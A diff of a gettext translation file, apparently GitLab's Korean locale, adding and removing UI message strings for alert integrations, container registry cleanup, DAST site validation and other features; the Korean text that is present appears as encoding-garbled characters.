+msgid "AlertSettings|Opsgenie"
+msgstr ""
+
+msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "알림"
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr "출력 로그 ë° ì•„í‹°íŒ©íŠ¸ë¥¼ í¬í•¨í•˜ì—¬ 파ì´í”„ ë¼ì¸ ë° ìž‘ì
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Asciidoc 문서ì—ì„œ PlantUML 다ì´ì–´ê·¸ëž¨ ë Œë”ë§ì„ 허용합니다."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "ì—러가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -2908,18 +3035,21 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr "프로ì íŠ¸ë¥¼ 가져오는 ë™ì•ˆ 오류가 ë°œìƒ í–ˆìŠµë‹ˆë‹¤."
-msgid "An error occurred while importing project: %{details}"
-msgstr "프로ì íŠ¸ë¥¼ ê°€ì ¸ì˜¤ë˜ ì¤‘ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "경로 ìž ê¸ˆì„ ì´ˆê¸°í™”í•˜ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "모든 파ì¼ì„ 불러오는 ë„ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -2974,6 +3104,9 @@ msgstr "머지 ë¦¬í€˜ìŠ¤íŠ¸ì˜ ë²„ì „ ë°ì´í„°ë¥¼ 불러오는 ë„중 오류가
msgid "An error occurred while loading the merge request."
msgstr "머지 리퀘스트를 불러오는 ë„중 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "파ì´í”„ ë¼ì¸ ìž‘ì—…ì„ ë¶ˆëŸ¬ì˜¤ëŠ” ë„중 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
@@ -3001,9 +3134,6 @@ msgstr "방송 메시지 미리보기를 ë Œë”ë§í•˜ëŠ” 중 오류가 ë°œìƒí–ˆ
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3034,6 +3164,9 @@ msgstr "ì•Œë¦¼ì„ êµ¬ë…하는 ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
msgid "An error occurred while triggering the job."
msgstr "ìž‘ì—…ì„ íŠ¸ë¦¬ê±°í•˜ëŠ” 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "ëŒ“ê¸€ì„ ì—…ë°ì´íŠ¸í•˜ëŠ” 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr "제안 ì ìš©"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "ì´ íŒŒì´í”„ë¼ì¸ ìŠ¤ì¼€ì¥´ì„ ì‚­ì œ 하시겠습니까?"
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "ì •ë§ë¡œ 해당 í•­ëª©ì„ ì‚­ì œí•˜ì‹œê² ìŠµë‹ˆê¹Œ?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "ë“±ë¡ í† í°ì„ 초기화 하시겠습니까?"
@@ -3752,6 +3900,12 @@ msgstr "ì¸ì¦"
msgid "Authenticate with GitHub"
msgstr "GitHubë¡œ ì¸ì¦"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr "업그레ì´ë“œ"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr "차단ë¨"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr "ì°¨ë‹¨ëœ ì´ìŠˆ"
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr "%{user_name} ì˜í•´ì„œ"
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr "CI/CD 설정"
msgid "CI Lint"
msgstr "CI 린트"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "Canary Deployments는 ì¸ê¸°ìžˆëŠ” CI 전략으로, ë°°í¬í™˜ê²½ì˜ ì¼ë¶€ê°€ 새 ë²„ì „ì˜ ì‘ìš© 프로그램으로 ìš°ì„  ì—…ë°ì´íŠ¸ ë©ë‹ˆë‹¤."
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "취소"
@@ -4685,9 +4864,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4829,6 +5005,9 @@ msgstr "변경사항"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr "다시 확ì¸"
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "%{docs_link_start} 여기부터 %{docs_link_end} 여기까지 확ì¸."
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "브랜치/태그 (예. %{master})를 ì„ íƒí•˜ê±°ë‚˜ 커밋 (예. %{sha})ì„ ìž…ë ¥í•˜ì—¬ 변경 ì‚¬í•­ì„ í™•ì¸í•˜ê±°ë‚˜ 머지 리퀘스트(MR)ì„ ë§Œë“­ë‹ˆë‹¤."
@@ -5141,6 +5314,9 @@ msgstr "íŒŒì¼ ì„ íƒâ€¦"
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "저장소 ê°€ì ¸ì˜¤ê¸°ì— ëŒ€í•œ 최ìƒìœ„ ê·¸ë£¹ì„ ì„ íƒí•˜ì„¸ìš”."
@@ -5309,7 +5485,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "사용할 수 없습니다: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr "SSH로 clone"
msgid "Close"
msgstr "닫기"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr ""
msgid "Close epic"
msgstr "ì—픽 닫기"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "마ì¼ìŠ¤í†¤ 닫기"
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList}ê°€ Kubernetes í´ëŸ¬ìŠ¤í„°ì— 설치ë˜ì—ˆìŠµë‹ˆë‹¤"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "CA ì¸ì¦ì„œ"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5870,9 +6049,6 @@ msgstr "그룹 í´ëŸ¬ìŠ¤í„°"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr "그룹 Kubernetes í´ëŸ¬ìŠ¤í„°ì— 대해 ìžì„¸ížˆ 알아보기."
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6308,7 +6487,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6648,6 +6827,9 @@ msgstr ""
msgid "Commit Message"
msgstr "커밋 메시지"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "ì»¤ë°‹ì´ ì‚­ì œë¨"
@@ -6771,9 +6953,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "업그레ì´ë“œ 위해 ì˜ì—…íŒ€ì— ë¬¸ì˜"
@@ -6969,7 +7151,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7101,7 +7304,16 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr "ìƒ‰ìƒ ë§žì¶¤í™”"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "FogBugz ì´ë©”ì¼ ì£¼ì†Œì™€ 사용ìžëª…ì„ GitLab으로 가져오는 ë°©ë²•ì„ ì‚¬ìš©ìž ì •ì˜í•˜ì„¸ìš”. ë‹¤ìŒ ë‹¨ê³„ì—서는 가져올 프로ì íŠ¸ë¥¼ ì„ íƒí•  수 있습니다."
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "Google Code ì´ë©”ì¼ê³¼ 사용ìžëª…ì„ GitLab으로 가져오는 ë°©ë²•ì„ ì‚¬ìš©ìž ì •ì˜í•˜ì„¸ìš”. ë‹¤ìŒ ë‹¨ê³„ì—서는 가져올 프로ì íŠ¸ë¥¼ ì„ íƒí•  수 있습니다."
-
msgid "Customize icon"
msgstr ""
@@ -7996,6 +8217,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8120,9 +8344,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "기본값: Google 코드 ì´ë©”ì¼ ì£¼ì†Œ ë˜ëŠ” ì‚¬ìš©ìž ì´ë¦„ì„ ì§ì ‘ 가져옵니다."
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "기본: FogBugz 계정 ID를 풀네임으로 매핑"
@@ -8498,8 +8746,8 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "%{jobName}ì„ ì¦‰ì‹œ 실행할까요? 그렇지 않는다면 ì´ ìž‘ì—…ì€ íƒ€ì´ë¨¸ê°€ ì™„ë£Œëœ í›„ ìžë™ìœ¼ë¡œ 실행ë©ë‹ˆë‹¤."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "%{job_name}ì„ ì¦‰ì‹œ 실행할까요? ì´ ìž‘ì—…ì€ íƒ€ì´ë¨¸ê°€ ì™„ë£Œëœ í›„ ìžë™ìœ¼ë¡œ 실행ë©ë‹ˆë‹¤."
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
